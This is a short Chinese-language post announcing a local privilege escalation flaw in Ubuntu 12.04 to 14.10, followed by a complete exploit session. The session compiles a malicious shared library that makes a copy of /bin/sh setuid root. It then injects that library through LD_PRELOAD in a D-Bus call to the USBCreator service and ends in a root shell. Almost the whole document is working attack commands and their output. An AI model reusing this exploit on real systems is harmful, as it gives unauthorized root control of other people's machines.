Ubuntu曝本地权限提升漏洞，影响12.04 – 14.10版本（含EXP）

$ cat > test.c

void __attribute__((constructor)) init (void)

{

chown("/tmp/test", 0, 0);

chmod("/tmp/test", 04755);

}

^D

$ gcc -shared -fPIC -o /tmp/test.so test.c

$ cp /bin/sh /tmp/test

$ dbus-send --print-reply --system --dest=com.ubuntu.USBCreator /com/ubuntu/USBCreator com.ubuntu.USBCreator.KVMTest string:/dev/sda dict:string:string:DISPLAY,"foo",XAUTHORITY,"foo",LD_PRELOAD,"/tmp/test.so"

method return sender=:1.4364 -> dest=:1.7427 reply_serial=2

$ ls -l /tmp/test

-rwsr-xr-x 1 root root 121272 Apr 22 16:43 /tmp/test

$ /tmp/test

# id

euid=0(root) groups=0(root)